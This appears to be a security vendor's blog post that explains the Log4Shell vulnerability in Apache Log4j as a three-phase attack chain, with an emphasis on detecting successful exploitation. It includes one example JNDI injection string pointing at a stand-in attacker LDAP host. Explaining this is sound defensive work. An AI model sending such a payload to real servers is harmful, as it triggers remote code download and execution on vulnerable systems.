If you’ve followed the news over the past week, you’ve likely seen many articles around the critical vulnerability Log4Shell and its widespread impact, affecting Apache Log4j software library versions 2.0-beta9 to 2.14.1.
In this blog, we’ll simplify the Log4Shell kill chain to help explain the critical elements of the attack and how to best detect successful exploitation if mitigation or patching are not yet possible.
First, a brief overview of this vulnerability:
What is Log4Shell?
Log4Shell is the name given to the vulnerability in the Log4j module that allows remote attackers to execute commands on vulnerable machines.
Log4j is a logging module that’s available in Java – logging is enabled by coders when writing any program, so that the users can see a record of what has taken place, and it is typically required to satisfy governance, risk, and compliance initiatives.
How Widespread Is It?
- Over 9 million developers use Java
- Java is running on over 7 billion devices worldwide
- Log4j is the most popular Java logging framework, embedded in virtually every application
So, in short, very.
Log4Shell Attack Phases
The chain of attack can be easily explained in 3 phases, the majority of which take place right of boom, with “boom”, the moment of an attack, happening at the point of exploit.
Phase 1: Exploit Attempt
In a nutshell, phase 1 is the stage of an exploit attempt, where the attacker does not know yet whether you’re vulnerable or not. This is why we’re seeing the entire Internet being scanned for this vulnerability, because the quickest way to know if someone is vulnerable is to exploit it.
So, the attacker begins by sending a specially crafted, yet simple, string of code to the webserver. This could be in the body of the request, the URL, or even the headers. The objective is to get the application to log string using the Log4j Java module.
If that web server logs that string with a Java package (Log4j), the machine will then send an outbound LDAP request to whatever URL was provided at the onset.
Note: We have chosen to use LDAP as the protocol for outreach to best explain the phases of this exploit as LDAP is the most common and threatening protocol we have observed at this time. However, our Researchers have confirmed that DNS, NIS, NDS, RMI, IIOP and COBRA, can be used to trigger phase 2. We will continue to monitor all protocols and any other protocols which could be utilized to evade detection.
To continue the example, the bad actor inserts their URL with the LDAP command. So, the string would look a bit like this: ${jndi:LDAP://badguy.url.here:1234/a}
If the application is vulnerable and the LDAP command can be sent, phase 2 begins.
Phase 2: Exploit Success
This phase is where the attacker attempts to gain their initial foothold.
When the LDAP request is sent to the attacker server, the response can include a script, something that the attacker wants the victim server to run locally.
Now, this is why phase 2 is so critical to monitor – as a whole, it’s an unknown, and is really a trial-and-error stage for attackers.
If you look at phase 2:
You’ll see an LDAP connection being sent to the attacker server, then the script is retrieved and then executed upon the victim server.
These are both potential failure points that would prevent the attack from progressing, even though the victim server could be vulnerable.
- LDAP connection: this attempt to send a request to the attacker server depends upon that server actually working / being operable. These bad actors are often using other compromised machines, resulting in machines with unreliable infrastructure or that are simply turned off. Therefore, they aren’t able to make the connection.
- Downloading and running the script: If the LDAP connection to the attacker server is successful, they may have been able to download the script, but the server may be missing key elements needed to actually run that script. So again, a point of failure.
The criticality of detection during phase 2
If either of these two points result in failure, the attacker won’t progress to phase 3 – yet.
It’s absolutely critical to monitor phase 2, because even if the attack fails at either of these points, that doesn’t mean you aren’t vulnerable or that there isn’t still potential for a full compromise.
For example, if you only detect at phases 1 and 3, then any successful exploit that failed to deliver is left undetected. And while the first 10,000 attempts may fail, that doesn’t mean attempt 10,001 won’t be successful and result in ransomware. Detecting phase 2 allows you to identify and address vulnerable assets before 10,001 occurs.
Phase 3: Actions on the Objective
Let’s continue along that path and assume that attempt 10,001 does occur – that will then put you into phase 3, but not yet fully compromised.
Phase 3 is comprised of two parts:
- Staging
- Executing
Part one: Staging
Say the machine successfully downloads and runs the script, launching the attack into phase 3 – this is typically just the foothold. It sets the stage for attackers to then download more things, install all their tools, with the goal of gaining full command and control of the machine.
Part two: Executing
If command and control is gained, they then act on the objective, which is part two of phase 3 – the execution, which could result in ransomware or a crypto-miner being installed on your system.
What Fortra’s Alert Logic is Seeing Among our Customer Base for Log4Shell
The vast majority of the Log4Shell attacks we’ve seen are in phase 1 – thousands of cases. And this is true across the board, as the vulnerability comprises a large portion of the internet. As stated above, this phase is when an attacker has sent a request, but nothing has happened.
Of our customers, we’ve seen very few in phase 3, and of those that were, all attacks have been stopped by part one, resulting in zero cases of full compromise.
To read our Knowledge Base Article around Log4j, released on 12/10/2021, click here. And to learn more about what the journey looks like for our customers in dealing with Log4j, stay tuned for the second part of this blog, publishing soon.
